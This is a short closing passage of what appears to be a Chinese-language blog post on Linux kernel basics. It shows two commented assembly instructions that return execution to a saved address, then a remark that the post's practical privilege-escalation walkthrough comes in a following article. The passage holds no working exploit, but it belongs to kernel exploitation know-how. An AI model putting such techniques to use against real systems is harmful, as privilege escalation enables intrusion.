pop rax           ; 弹出返回地址到rax
jmp rax           ; 跳转回返回地址,恢复正常执行

最后

这个篇章只是解释Linux内核相关的基础,实战提权流程可以看我的下一篇文章

1 条评论
某人
表情
可输入 255